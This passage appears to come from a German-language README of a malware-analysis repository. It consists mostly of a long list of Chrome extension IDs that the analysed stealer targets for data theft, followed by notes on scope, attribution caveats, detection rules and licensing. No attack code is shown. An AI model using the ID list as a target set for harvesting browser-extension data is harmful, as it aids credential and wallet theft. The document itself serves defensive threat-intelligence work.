lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid
loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo
lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl
mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli
mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh
mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae
mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk
mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd
mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn
mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk
mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj
mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg
mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg
modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj
nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi
nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm
nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf
ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj
nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk
niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf
nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig
nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm
nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain
nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh
ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim
odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl
ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh
ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl
oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip
Umfang und Einschränkungen
- Dieses Repository dokumentiert die statische Analyse und Entschlüsselung einer einzelnen Malware-Probe und ihrer eingebetteten Konfiguration.
- Die Kampagnenzuordnung ist analytisch und basiert auf wiederhergestellter Infrastruktur und TTP-Überschneidungen; es handelt sich nicht um eine Strafverfolgungs-Zuordnungserklärung.
- Die aufgelisteten Chrome-Erweiterungs-IDs identifizieren legitime Erweiterungen, die für Datendiebstahl ins Visier genommen wurden, nicht bösartige Erweiterungen.
- Erkennungsregeln sollten vor dem Produktionseinsatz in der Zielumgebung validiert und angepasst werden.
- Das STIX-Bundle folgt STIX 2.1, verwendet aber vereinfachte IDs zur Lesbarkeit; generieren Sie UUIDs neu, bevor Sie sie in produktive CTI-Plattformen importieren, falls eine Konfliktlösung erforderlich ist.
Versionsverlauf
Siehe CHANGELOG.md für versionierte Updates.
Mitwirken
Siehe CONTRIBUTING.md für Richtlinien, Issue-Vorlagen und die PR-Checkliste.
Lizenz
Analyse-Text und Skripte werden unter der MIT-Lizenz veröffentlicht. IOC-Listen und Threat-Intelligence-Inhalte werden zu Verteidigungszwecken bereitgestellt; die Wiederverwendung in kommerziellen Produkten ist unter den Lizenzbedingungen gestattet.
Unabhängiges Reverse Engineering in einer sandboxierten Umgebung. Die verschlüsselte Konfiguration wurde durch statische Analyse und per-Helper-CPU-Emulation wiederhergestellt. Siehe scripts/decrypt_all.py und SECURITY.md.